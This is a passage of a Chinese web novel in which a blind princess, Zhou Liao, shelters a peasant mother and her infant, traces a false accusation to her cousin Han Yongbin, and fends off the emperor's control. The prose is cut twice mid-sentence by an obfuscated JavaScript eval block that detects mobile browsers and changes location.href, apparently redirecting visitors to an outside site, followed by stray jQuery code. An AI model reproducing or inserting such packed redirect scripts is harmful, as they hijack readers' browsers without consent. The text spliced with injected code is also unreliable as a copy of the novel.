周嫽接过茶水一口气喝完,抱着存有余温的杯子,轻笑:“我哪有那么娇弱。”
玉生是知道的,柔顺乖巧只是公主保护自己的外壳,刚毅坚韧才是她的底色。公主素来胃口很大,哪怕瞎了眼也常常走动锻炼,身体要比寻常女子强健得多,哪怕跪上半天也是不妨事的。
但他还是低垂下眉眼细细地按摩着,柔声道:“公主金枝玉叶,千金之躯,自当多爱惜自己些。”
周嫽并未多说什么,她放下茶盏,“明赫。”小明赫立刻轻握住她的手。
她将男孩一双小手包裹在手心,神色无比认真:“今后你我二人便是相依为命的亲姑侄了,记住,无论任何事都可以和姑母说,绝对不能一个人擅自做主,明白吗?”这是她对周明赫最大的要求。
周明赫显然愣了一下,在感受到周嫽握住他手的力气陡然加重,他赶忙应声:“明白了,明赫定然事事以姑母的吩咐为要。”
周嫽这才露出满意的微笑,姑侄二人其乐融融,只有低下头去的玉生眼底逐渐泛起冷光。
回到府上,几人还未歇脚,横雨便上前禀报之前那击鼓鸣冤告周嫽抢夺人女之人的妻子已经找到接来公主府了。
“先将那人在公主府好生安顿下来。”
横雨露出为难的神色:“那妇人很是惶恐,吓晕了过去。”
周嫽向前走的脚步顿住,有些不可思议:“晕过去了?可有大碍?现在如何了?”她让人将那村夫的妻子接过来就是以防那背后之人泄愤伤害,却不想如今伤害这女子的倒是她了。
“很快就请了大夫来瞧,说是惊吓过度加上近日忧思深重,这才气血攻心晕过去。服下两帖药便无大碍了,只是不知为何过了两个时辰了,还是没醒过来。”横雨这么说,神色间却充满了不信任。
周嫽沉思片刻:“她家中可还有别的人?”未等横雨回话,又说:“将她女儿抱过来让她瞧瞧,若还是醒不过来便等明日,要是醒过来了也千万记着莫叫她碰孩子的,先带她来见我。”
“是。”
周嫽用过晚饭后,让人先将周明赫带回了屋内听书,没过多久就听人回禀院子外有一个面色蜡黄的女人求见。
11. 第 11 章
站在正厅角落里的王芳兰小心抱着怀中的女婴,一边小幅度地晃动着哄睡,一边又打起十二分精神注意着不远处跪在软垫上的妇人。
这妇人没有名字,旁人都叫她韩家媳妇。刚见面时王芳兰固执地揪住她不肯撒手,非得问清楚她成亲前又叫什么,只是这人似乎脑子有些问题,从前许多事情都记不大清了。
想起自己抱来怀里的孩子后,昏迷不醒的女人立刻睁开眼就要争夺的情形,王芳兰不禁搂着孩子打了个寒颤。她赶忙往后退了几步,背过身子挡住地上女人直勾勾看过来的眼神。
虽说这本就是她的孩子没有错,王芳兰也十分同情这个无依无靠的女人,可女人瞧着精神实在不怎么正常,她也不敢冒险将尚在襁褓中的脆弱婴孩交过去,只能默默站在一边不断祈求公主早日到来。
不知是否因为全能的公主听到了王芳兰的祈祷,等她再次扭头朝背后看去时便见到公主气定神闲地从门口进来。她心中一喜,连忙小步上前:“参见公主。”
公主朝王芳兰笑了笑,示意她不必慌张,于是她竟真神奇地定下心来。公主那样厉害的人,一定能将所有事处理得漂漂亮亮。
玉生在一旁摆摆手,王芳兰低下头抱着孩子快步走出去。
地上的女人似乎情绪十分激动,呃呃啊啊地低声叫了起来。
周嫽淡定上前坐在主位上,解释:“天黑了,小孩也该去睡觉。”这是在解释抱走她女儿的原因。不待女人作出反应,她沉声提问:“你叫什么名字”
女人只是节奏杂乱地向外呵气,并不回答。
在一旁看着妇人的小侍女回答:“公主,这人没有名字。”
周嫽也不在意,面无波澜地端起手边的茶盏慢吞吞地喝起来,室内一时间陷入无边的寂静当中,只闻屋外悉悉索索的虫鸣声。
正当小侍女将要忍不住打哈欠时,低低的虫鸣终于被一串轻快的脚步声取代。原来是个小太监捧着一沓纸快步走过来,入了堂内哧溜一下跪下去,双手举过头顶将几张纸呈上去。
“咳。”玉生清咳一下伸手拿起纸,几下抖开后快速扫过一遍,而后大声念出来:“京北郊苗家村苗昆长女苗大姐,顺昌二十九年生,平康六年与京北郊小韩村韩虎成亲,七年为京北郊东地主韩元天诞下一子一女......”
男人声音由尖锐慢慢转为和缓,想来也是可怜她的遭遇。
顺昌二十九年生,和周嫽一样大的年纪。
若不是查了苗大姐的户籍信息,光听她粗哑的声音谁又能想到这只是个十六岁的孩子?
周嫽放下茶盏,站起身走到女人跟前,“苗大姐,我是周嫽。”
从周嫽进门起就一直跪在软垫上低着头未曾行礼的女人终于有了动静,她瘦弱的身体像是无法控制一般颤抖起来。小侍女被她吓了一跳,赶忙蹲下去想要按住她,以免惊扰了公主,却不想苗大姐力气大得很,直接将她推倒过去。
玉生冷眼旁观,低头附在周嫽耳边将这一幕小声转述出来。他使了个眼色,两名侍女一齐上前压制住苗大姐,女人又挣扎几下无果,大概是知道自己反抗不过,渐渐也安静了下来。
周嫽不顾玉生的阻拦走上前缓缓蹲下来,双手按在苗大姐的肩膀上,单薄的衣裳下是冰凉的躯体。她一字一句将事情原委缓缓道来:“你生下了一对龙凤胎,男孩被韩老爷留下来,至于女孩没过几天就被抛弃到了我府上。你的丈夫韩虎被人收买为了钱财告我强夺人女,因为无凭无据也无理,已经被官府押在大牢里了。”
她顿住,仔细倾听与自己不过一掌之隔的女人的声音。这苗大姐能够装作昏迷的样子,想来意识清醒的很,并不傻。
周嫽安抚性地顺着她瘦削的脊背与肩臂抚了抚,声音沉稳有力,努力让女人感受到自己没有恶意:“我从没想过夺走谁的女儿,既然你想和自己的女儿待在一起,我可以再将她的户籍改回你那边去。”
幼女院的女孩们都暂记作张姑姑的孩子上报给官府进行统一管理,这样并不是长宜之计。苏扶楹曾经倒是和先帝提起过将它向官方的组织靠拢,只是先帝向来不喜苏扶楹做这些“没用的杂事”,并且只是觉得周嫽在闹着玩,因此从未放在心上过。
在周嫽以及侍女的耐心解释与安抚下,苗大姐终于停止了瑟缩与呵气声,逐渐安静下来。
过了许久,周嫽甚至以为这一夜就要这么陪着她在大堂过完时,苗大姐终于说出了她来到公主府的第一句话:“公主......”
周嫽直起酸涩的腰,微微一笑,冲着女人摇摇头:“叫我周嫽就好。”仓禀实而知礼节,面对苗大姐这样衣不暖食不足的苦命女人,她没有资格去摆公主的架子。
她缓缓将女人扶起来,又由玉生牵引着坐在软凳上,立刻有侍女倒了热茶过来。
周嫽将冒着热气的茶水推到女人手中,再次解释:“接你过来是担心你自己一个人待在家中会有歹人迫害。这段时间就先在公主府里住着,等到事情处理完毕有三个去处供你选。一是留在幼女院里打杂,有工钱也能一起照顾映洁——就是你的女儿,二是带着映洁离开这里,我会给你找个别的活干,三是跟你丈夫一起死。”
当然,最后一句半真半假是吓人的。她确实会让那个叫韩虎的村民死,但此事与苗大姐无关,她不会平白牵连别的人,这么说也只是提前让女人明白自己的丈夫必死无疑。
苗大姐朴实的脸上因为“死”字浮现出明显的恐惧,就在周嫽以为她会吓得说不出话准备明日再说时,女人扑通一声跪在地上开始磕头,哭喊:“公主大人有大量,求公主饶过俺家的!求公主绕过俺家的!女孩俺们不要了,只求求公主放俺们一条生路啊!”
女人凄惨的恳求像是秋日里一盆凉水泼在周嫽头上,过了一会儿才反应过来她的意思——用女儿换她丈夫的姓名。周嫽手指猛地攥紧,愣在原处,一时间不知所措。
玉生见到公主无措的可怜模样,急得快要哭出来了。同时又气不打一处来,公主好心好意帮忙,这女人竟还不领情就罢了,竟还将公主当作为难他们的恶人。玉生尖细高昂的斥责脱口而出:“放肆——”
“玉生!”周嫽喝止将要发怒的男人,抖着手深呼吸两口气。
周嫽思索过来后,就能明白苗大姐为什么会这样想。对苗大姐来说,旁人看来自私自利的丈夫却是自己的天,没有了丈夫她自己一个人在村子里恐怕要吃不少的苦。她当然要拼尽全力保下丈夫。
至于周嫽说的前两种选择,对于一个从来没有接受过教育,甚至人生中只有父母与丈夫的女人来说是难以想象的。或许苗大姐根本没有听懂她前面说的什么,只听到了最后那句“跟你丈夫一起死”,这对任何人来说都是致命的打击。
是周嫽太自以为是了,先入为主地觉得女人会无比痛恨将她典卖出去的丈夫,强势地将自己认为好的道路高高在上地摆在她面前,逼她进行无比艰难的抉择。
这对苗大姐来说何尝不是一种折磨。
愧意如潮水般涌上胸口,让周嫽一颗心涨涨的。她张了张嘴,有一瞬间的哑然,只得先让人起身。
小侍女立即上前把一只磕头的女人搀扶起来,侧目瞅着她凄苦的脸,犹豫两秒还是掏出手帕为她擦去由额头往下淌在脸上的血,小心翼翼禀报:“公主,苗大姐头磕破流血了,看着怪严重的。”
周嫽扶额:“快请大夫。”
她这晚没有睡觉,一直等到大夫过来为苗大姐上好药后,又好声好气再三安抚。终于让女人平静下来后才离去,等走出去时天已经凉了。
玉生心疼:“公主先去睡一会儿吧。”
周嫽熬了一整夜,头疼的厉害,便先听了玉生的话回到房中补觉,等醒来时晌午都过了。
玉生服侍她洗漱过后,侍女们端来饭菜,他端起一碗红枣莲子粥轻轻搅拌几下,舀起一勺,“公主先喝些粥吧。”
周嫽偏过头,神色恹恹:“要是苏扶楹还在就好了。”
虽然在外人面前总是称呼姐姐,但私下里,周嫽对苏扶楹一直是直呼其名的。按照女人的话来说就是:“反正你也不服气我,干嘛还要装模作样喊姐姐?”
那个时候周嫽刚刚失明,性格暴躁易怒,阴晴不定,无论是谁出现在她跟前都要被她发好一通脾气,就连伺候她的太监宫女们都忍不住背地里抱怨。只有受她打骂最多的玉生像个没事人一样依旧认真小心地伺候着她。
因此当苏扶楹提出将周嫽接到身边照管时,周嫽是十分厌恶这个突然冒出来的女人的。
苏扶楹全然不在意小周嫽的抗拒,大方表示不想叫姐姐可以不叫,于是周嫽便一直喊她名字,一直没有改过来。现如今“苏扶楹”这三个字也已经深深刻在了周嫽心中,永不磨灭。
玉生又听到了那个女人的名字。他静静垂眸看着碗里香甜的粥,面上一派镇定,一颗心却是因为这句话拧得紧紧的。
公主刚出生还没来得及睁开眼,母亲就已经咽气了,先皇不愿意施舍给女儿哪怕一个眼神,同胞哥哥更是视她宛若仇人。公主从小就孤苦无依,身旁没有正经的大人教导,直到七岁那年才遇到了唯一一个愿意接纳她的长辈。
公主是很依赖苏皇后的。
她提起苏皇后时是那么伤心,殊不知身边也有个玉生同她一样悲伤。
玉生是看着公主长大的,如何不明白少女此刻的无措与迷茫,说到底她也只是个十六岁的孩子。
他沉默片刻,调整好情绪开口:“那苗大姐想来是头一回见那么大阵仗吓着了,因此没有明白公主的意思呢。待今日奢雪再与她好生说道一番,定能想开。公主也不必过分忧心,还是要以自个儿身子为重啊。”
周嫽苦笑:“我都明白的。我......”她顿了一下,“我只是为自己昨晚的话感到羞愧。”
玉生很为公主过分的善良感到不平,真心实意劝慰:“公主如此为那人着想,她不心存感念便罢了,还不领情,说到底您也不是非得帮助她,光凭韩虎的罪责都够这一家人死好几遍了。公主良善,却也实在不必为难自己,您做得已经够好了。”
都说眉目传情,公主闭着眼睛时若是不哭不笑,很难让人察觉到她心里在想什么,因此最初许多人会为此忐忑不安,生怕自己哪里得罪了这位千金之躯。这也是为何公主嘴角常常带着浅淡笑意的原因。
不过旁人看不明白,玉生却是最懂公主心思的,“公主若是就此放过那村夫,城中恐怕有许多没良心的要笑话您好欺负。”
“我从来不在乎他们怎么看我。”周嫽独自思索良久,还是从玉生手中接过粥碗,胃口很好地喝完又吃了许多菜,最后她擦过嘴站起身,语气坚定:“放心,我不会放过韩虎与他背后之人——但也不会就此放弃苗大姐。”
说罢,她竟要亲自去往苗大姐屋内继续劝说女人。
玉生震惊,无奈之余却是满腔欣慰。
公主一直都是这样坚韧的女子,没有谁能够将她打倒,也没有什么事会让她心灰意冷。就像之前无论多么为苏皇后的离去悲伤,她也能很好地排解掉自己的情绪,将悲愤转为向前行进的动力。
经过周嫽与王芳兰的锲而不舍的劝说,苗大姐终于安定下来,不再嚷着让周嫽放过韩虎,也不说要与丈夫一起死这样的话了。
只是周嫽还不确定她对待映洁到底是和态度,说她在乎吧,昨夜又如此轻易地说出女儿不要的话,说她不在乎,一整天眼神也没从婴儿身上离开过。也是因此她并未放心将映洁交给她照管,而是留了王芳兰一起陪着。
第二日,邓宛影带着沈华君来前来公主府拜访,华君与明赫两个小孩被横雨带下去玩耍,两个大人则坐在湖中小亭品茶。
“真是抱歉了,昨日才知晓......”邓宛影停了一下,隐晦地说出韩虎击鼓鸣冤一事。
周嫽轻笑:“并不是什么大事,邓姐姐不必忧心。况且那人当日便被押入牢中,至今还未判刑,姐姐不知道也是应该的。”
邓宛影不露声色地观察着眼前的女孩,见她虽面无异色,眉眼间的疲惫却难以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049552|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掩饰。她暗自在心中叹了口气,还记得初见时这个通神贵气的公主静坐在苏皇后怀中,虽然双眼紧闭,目不能视,神态举止中流露的尽是上位者的高傲与冷漠。
现如今愈发像未出阁时的扶楹了。
“公主打算如何处置那刁民呢?”
周嫽虽然闭着眼,恍惚间却似有寒光乍现。只听得少女阴冷的声音响起:“左右不过死路一条,总得从他身上榨干最后一点价值。”
“公主的意思是?”
“至少要揪出整件事的始作俑者,此事闹得越大越有利于我们,最好能让朝廷命官都注意到。”周嫽将自己的想法说出:“我希望幼女院能够像孤独院一般合法化,走出公主府。”
大耀的孤独院是由大耀开国皇帝的结发妻子文康懿孝皇后提出创办的,由地方政府负责经营管理,其中收容的不仅有无家可归的婴儿,也有无人赡养的老人。孤独院中的孩子可以直接由外面的人领养,手续十分简单,只需要登记一下姓名即可。
只是随着时间的演进,尤其是从周嫽的祖父开始,皇帝一代不如一代,孤独院早已经名存实亡。京城以外的孤独院听说已经没有了,至于城内孤独院里所收容的也不过寥寥几个祖上有官位的男孩。
周嫽对自己的能力有自知之明,现阶段虽然不敢奢望能将幼女院推广到大耀的每一处地方,至少也得让幼女院纳入官府中,给孩子们正经的户籍身份。
久久没有得到回应,周嫽询问:“邓姐姐意下如何?”
低头沉默不语的邓宛影突然被点名,她愣了一下,下意识反驳:“公主一介弱女子,不必做到这个地步的......”
周嫽低头浅笑:“我不是弱女子,我很厉害的。”她开玩笑一般:“不如我们两个掰手腕?”
邓宛影一噎,无奈:“公主......”
“真的。”听明白女人的不相信,知道她恐怕觉得自己只是小孩子闹着玩,周嫽正色:“我很认真,我不是弱女子。或许现在还比不上男人,但是我会努力锻炼身体,学习武艺,成为比男人还要厉害的女人。”
邓宛影失笑:“公主是什么时候有了这样的想法?”
周嫽转过头正对着邓宛影,这让她有种被注视的感觉,很不好受。
“刚刚。”周嫽重复:“就在刚刚你不相信我的时候。”
她从前还真没有想过学习武艺变得多么厉害,平日里虽然常常散步,却也只是因为在苏扶楹的诱哄下吃得多,所以被经常被她牵着走路消食,慢慢就养成了无事便散步的习惯。
尽管皇室女子修习过骑马射箭,但都是花拳绣腿的功夫,真遇上什么困境根本不顶用。
周嫽从小到大都在旁人的桎梏之下活着,以前是父皇,后来是大哥,现在是周翰。她其实是个很倔强很不服输的人,不然七岁那年也不会明知道周翰不喜欢自己,也偏偏要跟上去了。
既然邓宛影说她是弱女子,不管她是指哪一方面,无论为此要付出多少代价,周嫽都要努力去改变自己,成为一个至少能够让女人们信服的人。
午后斜阳钻进雕梁画栋的湖中亭,均匀地照着在少女身上,她静静坐在那里,坚毅顽强的气息自然流露,宛如天上神仙。
邓宛影目光沉沉地望着眼前这一幕,哑了声音。
不知是否因为周嫽这边将郭虎关在大牢里迟迟没有动静,还是因为周嫽现在“福瑄大长公主”这个响当当的名头让那背后之人心生惧意,竟还真的让奢雪给逮到了尾巴。
原来自从周嫽吩咐过后,奢雪便派人暗中盯着租借肚皮的地主韩元天一家,为了隐蔽,特意令府上侍女伍仙扮作他们村子里一位李寡妇的表妹住过去,暗中留意韩元天家的一举一动。
原本久久没有动静,奢雪都要怀疑那背后之人是不是直接跳过韩元天去拿捏韩虎了,结果李寡妇与韩元天的夫人走动时,在他们家中见到一个生面孔。韩元天的夫人找借口说是她不能干活请来的帮工,但是敏锐的李寡妇还是一眼察觉到了不对劲。
韩元天家是地主,比起他们这些佃农虽说富庶些许,却也没到再养个大男人的地步,更别说前段时间做典妻勾当花了不少银子,这回添了个小少爷更是需要不少钱,哪里还能雇人干活。且不说有没有钱,旁的人不知道,家里住了个伍仙的李寡妇却是清楚的很,韩元天媳妇根本没怀孕生子,怎么会不能干活呢?
她回到家中立即将此事告诉了借住的伍仙。
伍仙也是个做事情不含糊的,她当即擦亮了眼睛,不眠不休地躲在干草垛里盯着韩元天家的动静,果真让她在深更半夜看见一人敲响韩元天家房门,后又出来一个人鬼鬼祟祟说些什么。她立刻通风报信,与城里蹲守着的侍卫里应外合捉拿了那人。
经过奢雪严酷审问,小厮没多久就说出了他家主人韩永玢。
周嫽听完奢雪的回报,冷笑一声。她就说哪个人胆子那么大敢在国丧期间派人告她这个公主强抢人女,原来是韩永玢那个贱男人。
说起韩永玢和周嫽的矛盾,就得从七年前说起了。
韩永玢是户部副使韩云洲的小儿子,母亲是楚孝王之女东河郡主,算是周嫽的表兄。韩永玢幼时随母亲在东河长大,后来父亲升官加职后一家人才从东河搬到京城。
先皇特意备下宴席款待东河郡主,周嫽也跟随苏扶楹在场。
那时周嫽刚在苏扶楹的鼓励下学会用筷子,还不熟练,夹了一块酥肉不小心掉在了桌上。旁边的韩永玢扑哧笑出声来,若只是如此倒也罢了,偏他还一直凑近周嫽耳边冷嘲热讽她是个不洗澡浑身脏兮兮的瞎子,将她气哭了。
苏扶楹见状直接端起桌上的饭菜泼在韩永玢脸上,抱起周嫽转身便走。此后两人就结下了梁子,只要见面时苏扶楹不在场,韩永玢就带着一群人嘲讽她是瞎子,而周嫽也不甘示弱抄起手边的东西便向他砸过去,听说还将他半边脸划了个大口子。
横雨在一旁气恼:“还真是这个可恶的家伙!公主定要将此事告知陛下,将那姓韩的好好惩戒一番!”
12. 第 12 章
到底是皇亲国戚,身份尊贵,周嫽可不认为皇帝会为了她惩戒韩永玢。何况东河郡主作为两人的表姑母就住在京城里,平日抬头不见低头见的,也不好得罪。
但还是得试试他的态度。
正巧宫里传来旨意宣召明赫,周嫽便带着他一同前往。同去的除了玉生与一应奴仆外,抓获证据的关键人物伍仙也跟着一起来了。
周嫽很欣赏这个机敏能干的女孩,原本想着侍奉明赫的桑乔既然去了幼女院,那便指了伍仙来到明赫身边。只是在问话时深觉这孩子是个可塑之才,一身好功夫使在个小娃娃上岂不可惜了,于是就先将她放在了自己身边。
幼时的凄惨经历让明赫对于暗笼一般的高墙深宫十分抵触,一路上缩在周嫽怀中止不住地颤抖。
她不可避免地皱起眉,语气第一次带了斥责:“胆子怎么这样小?你母亲可是受了比你大了不知多少倍的压力,也没见她多害怕。”
男孩身子一僵,呜咽一声罢脑袋在周嫽颈窝埋得更深了。
周嫽这几天因为韩永玢的算计心烦不已,此刻实在没有耐心哄这个脆弱的男孩。
玉生很快读出她的脸色,赶忙上前将周明赫抱走了。
伍仙则整个人缩在角落里不敢发出一点动静,生怕自己哪里惹公主不高兴了。要是以前的伍仙,无论如何也想不到自己不仅成了贴身伺候公主的大侍女,甚至还能跟着主人进宫。
这可是皇宫啊。
她只能万分小心地透过窗纱摇晃的空隙窥探传闻中庄严宏伟的世界,目光透露着无人知晓的渴望。
越往里走,规矩越多,马车行的也越慢。绣着金丝牡丹的纱布归于平定,伍仙遗憾地收回目光,转眼便对上了玉生公公暗含警告的阴冷目光。
刹那间,伍仙全身好似被密密麻麻的细针刺过,头皮发麻,冷汗直出。她惶恐地低下头去,再不敢有任何小动作。
公主府上下奴仆谁不知除了奢雪与横雨两位姑姑外,就属玉生公公最受公主宠爱。偏玉生公公还与两位姑姑不同,姑姑们办事时虽有威严极了,但向来是公事公办,从不刻意为难人,是以大家都是敬畏居多。
就好比伍仙此次奉奢雪姑姑的命令捉拿贼人,只管按照姑姑的吩咐大胆去做,从不会担忧哪里做的不够好惹她不痛快了。姑姑们同公主一样,都是心胸宽广的大女人。
可玉生公公就不一样了。
他常跟在公主身边,却并不是会干事的料,从来都只做伺候人的活。比起奢雪与横雨两位常常内外奔波的大忙人,玉生更像是公主的眼睛,为她获取周围的一切信息。
若单单这样倒也没什么,只是玉生公公面对公主以外的所有人都好似看不上似的,脾气大得很。还十分小气,只要一点不和他心意了就要掐嗓子指着人大骂,还总是跟公主讲别人的坏话。
伍仙耷拉下眼皮掩去其中的鄙夷,果然是没根的东西,心眼就是小。
马车很快到达前殿,周嫽拉过明赫下车往宣政殿的方向走去,一路上男孩安静了许多,还十分懂事的小声提醒她哪里的路不平整。
忽地两道踏实的脚步声渐渐传来,落地利落不拖沓,一听便是习武之人。
周嫽脚步放慢,不多时便听到浑厚有力的声音在面前响起:“右金吾卫李恕拜见福瑄大长公主,公主万福金安。”
“将军快请起。”周嫽攥紧玉生的手掌,看上去很不擅长应对朝臣,面露胆怯,但还是勉强撑住笑意:“将军这是刚见过兄长吗?”
“是。”李恕带着身后的少年站起身,恭敬地垂着头不敢冒犯,“陛下正在殿内等候公主。”
于是周嫽等人匆匆告别,一副不愿过多寒暄的模样绕过两人便往宣政殿赶去。
等离得远些了,玉生低声在周嫽耳畔补充:“是那位右脸上有疤的将军。”
周嫽思索片刻,便忆起宫变那日她带着玉生慌忙赶去宫,路上就碰着个右脸长疤的将军下马行礼,当时那人只见到了玉生的脸便知晓里面坐的是周嫽,想必从前与还是仁亲王的陛下交往甚密,于是连主子妹妹的奴仆也识得了。
“还有一个人呢?”周嫽侧头询问,神容沉静,丝毫不见方才的紧张怯懦。
玉生拧眉,回忆着跟在李恕身后的少年,两人衣着华贵,眉眼间倒是有些相似的,于是道:“是个十六七岁的少年郎,想来是他家公子。”
说话间,已经到了宣政殿的长阶前。周嫽不再多言,由玉生与明赫搀扶着小心上去。
皇帝叫来明赫似乎只是单纯想看看自己这个名义上的侄儿,强势地把浑身僵硬的男孩叫过去,饱含深情地说了许多关切的话。
周嫽沉默坐在一旁听着男人假惺惺的话语,几乎作呕。
终于等装模作样的男人表演完毕,皇帝才松开回话声音都发抖的明赫,男孩像是身后有洪水猛兽一般小跑回来扑在周嫽怀中。
周嫽搂住害怕的小明赫安抚地拍了拍他瘦削的脊背,果不其然听到皇帝阴冷的声音:“明赫很怕我?”与刚刚满面春风的样子判若两人。
她早已经习惯皇帝的阴晴不定,略微酝酿情绪,转头凄苦地面向男人:“哥哥又不是不知道明赫从前受了多大的苦,比寻常孩子自然是要怕生些的。”
皇帝听罢,未再揪着此事多说什么,似乎只是随口一问。他目光沉沉地盯着周嫽,漆黑如墨的眸子没有一点光彩,不过须臾又粲然一笑。
他悠悠起身上前拉过周嫽,让她与他一起坐在铺着金丝软垫的宽大椅子上,柔柔说来:“我听王宽讲了永玢的事,先前那刁民闹事时哥哥就想找人处置了,只是听闻你要自己解决,我便没有再管。却不想此事牵连甚广,这段时间委屈嫽儿了。”
男人面上一片歉疚,两只大掌却是死死锢着她的一双手,分毫不容忍拒绝。带着湿意的冰凉贴紧,周嫽只觉得两只手像是被湿滑粘腻的毒蛇来回盘绕,让人浑身发凉。
心底也止不住地泛起冷意。
韩永玢是幕后主使之事不过刚刚发现,皇帝就已经知晓,不用想也知道自己身边又被他安排了人监管。
这种严密掌控,不留给周嫽任何隐私的冒犯让她怒火中烧,恨极了面前的男人,唯有死死握紧拳头才能保持面上的镇定。她牵出一抹笑:“有哥哥如此费心,嫽儿不委屈的。”
她失落地低下头,可怜道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138522|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“只是没想到表哥这样讨厌我,竟做出这样栽赃陷害之事。我虽想找表姑母告状,可她老人家常年离不开药丸汤罐,我怕她气坏了身子,只好暂时按下此事。”
皇帝攥紧周嫽的手终于松了些力气,他假模假样宽慰:“嫽儿一片孝心,表姑母若是知道了一定欣慰。”
男人纤长浓密的眼睫轻颤,似是蝶舞翩跹,花容月貌,动人心弦,我见犹怜。他幽幽叹了一口气,真是闻者心碎——除了,周嫽。
“嫽儿也还是个孩子,哪里照看得了那幼女院的许多女孩,你看看,这不是惹来了祸事。”皇帝满目哀愁,将周嫽鬓边一缕碎发挽至而后,“依哥哥看,嫽儿不如将那些女孩送往孤独院,哥哥定会派人好好抚育,你就别插手那些刁民的事了。从今往后呀,就带着明赫一起,与哥哥安稳住在宫中如何?”
周嫽想到皇帝会借题发挥让她放弃幼女院,却不想他还想将自己继续困在暗无天日的宫闱之中。
遥想当年这个男人留下年幼的自己在宫中挣扎求生,她费尽全力想要讨好这个哥哥,却不想换来的却是他毫不留情拿她挡刀。也是自那之后,周嫽再也不会相信这个男人任何话了,他就是个随心所欲的疯子。
有时候她都忍不住佩服这几个贱男人厚脸皮的程度,一面以爱为名打着为她们好的名号,一面又狠毒地折断她们的原可以高飞的翅膀,将无数女孩的恣意人生摧毁,成为笼中雀,掌心玩物。
“哥哥。”周嫽废了多么大的力气压下心中恨意,笑容和婉:“瞧哥哥说的是些什么话,哪里有长公主还住在皇宫的,这样于礼不合,朝臣也会议论哥哥的。”
皇帝满不在乎:“那又如何?我无所谓他们说什么,反正我才是这天下之主,我做事谁要是赶拦着,那就砍了他的头。”
周嫽无奈:“哥哥。”纵然不喜欢面前的男人,可周嫽如今还要仰仗他而活,可不希望自己这个福瑄大长公主的位子没坐多久就被踢掉,于是又装作很关切的样子费心劝谏许多。
其中她又若有若无提过几次韩永玢,但都被狗皇帝巧妙避过,想来是不愿意她追究此事。
周嫽忍不住在心底冷笑,狗皇帝整日惺惺作态向世人展示自己是个多么疼爱胞妹的好哥哥,然而真的遇到事了还不是为了自己的利益让她一忍再忍。
东河君主是尚在京城中老一辈皇室之人中唯一还在世的,身份尊贵,连疯疯癫癫的先帝也对这位长辈十分尊重。
别看皇帝逼供篡位时嚣张至极,但是政权更替哪一次是不流血的,只不过他将那些刺目的鲜血都泼到明面上了。如今事态安稳下来,他竟也想着笼络民心,当个好皇帝了。
虽然没能成功让周嫽在宫里住下,皇帝还是准备了专门的宫殿供她来时歇息。
其实周嫽很想住回以前陪伴苏扶楹时的宫殿,可惜那里是椒房宫,历来都是皇后居所,她一个公主住在那于礼不合。
谁料向来厌恶周嫽与苏扶楹牵扯不清的皇帝突然转了性子,大手一挥便要将那里继续作周嫽的宫殿。
她连忙惶恐不安地推拒,并说怕自己真的住在里面夜里多梦,忧伤沉闷,还是选一清净低调处为好。
13. 第 13 章
旁人倒也罢了,偏偏韩永玢是东河郡主幼子,周嫽做起事来难免有些束手束脚。
她这几日常常思索该如何对付韩永玢,闲来无事时也同苗大姐说过几回话,女人精气神相较于初见日好了许多,渐渐能够不打磕地回话。于是周嫽便松了口让她先与侍女一起照顾映洁,苗大姐十分感激,暂时没有再提用女儿换丈夫的话了。
玉生在周嫽的安排下写完月中赏菊宴的请帖,刑部尚书沈大人与薛国公府上均有一份精巧的帖子,分别是请邓宛影与魏毓英的,由横雨亲自送去。
“再给东河郡主写一份,奢雪亲自送去。”
玉生与奢雪齐齐应声:“欸。”
虽说邀请京中女眷一聚是魏毓英的提议,周嫽当日也客气说过请她多多指教,但也真的不可能让客人来帮忙办宴会的。
奢雪与横雨从前只是皇宫里伺候周嫽的小侍女,但是自打有了公主府后,周嫽就有意多安排她们说话做事。横雨管家的功夫自是一流,奢雪就更不用提了,但凡是她安排下去的任务,没有一件不是尽心尽力做到最好。
邓宛影收到请帖后十分高兴,早一日便来公主府帮忙从头到尾相看了一遍,是以到了月中赏菊宴当天,一切都井井有条,宾客如云,赞不绝口。
幼女院中四个大一点的女孩也被周嫽带来了现场,她们都是头一回见这样的场面,内心激动不已,王汉桃与林珍宝更是一路上“哇”个不停,到后来竟玩心大发还比起来谁哇的声音大了。
林珍玉觉得自己耳膜都要被两个幼稚鬼震碎了,她有些羞恼:“你们有完没完,也不嫌给公主姐姐丢脸。”
林珍宝向来很怕这个姐姐,当即闭上了嘴巴缩在周嫽身后。王汉桃不服地哼了一声:“公主姐姐才不会这么觉得呢,你以为谁都像你一样啊。”话是这么说,女孩还是仰起头忐忑地看了一眼周嫽的神色。
周嫽顺着刚刚的声音摸到林珍玉的头,因为做了头发于是只轻轻摸了她的脸,然后略微低头朝女孩们笑道:“你们这样的活泼可爱,我非常喜欢。”身后的林珍宝立即偷笑起来,只听得周嫽又柔声道:“只是待会儿的宴会上恐怕会有人不喜欢,就像你们下棋时,我在一旁高声唱歌一样,会打搅到你们。”
林珍宝大声说:“才不会呢!我们喜欢公主唱歌!”下意识说出这句话,她才慢一拍反应过来周嫽刚刚的意思,连忙抱歉地地捂住嘴。
周嫽笑了一下,温柔坚定的力量缓缓从她身上自然流露,包裹着每一个女孩:“你们没有做错任何事,我只是将你们不懂的道理讲与你们听,至于之后怎样做全凭你们心意,至少这是我的府上,可以保证不会有人把你们怎么样。”
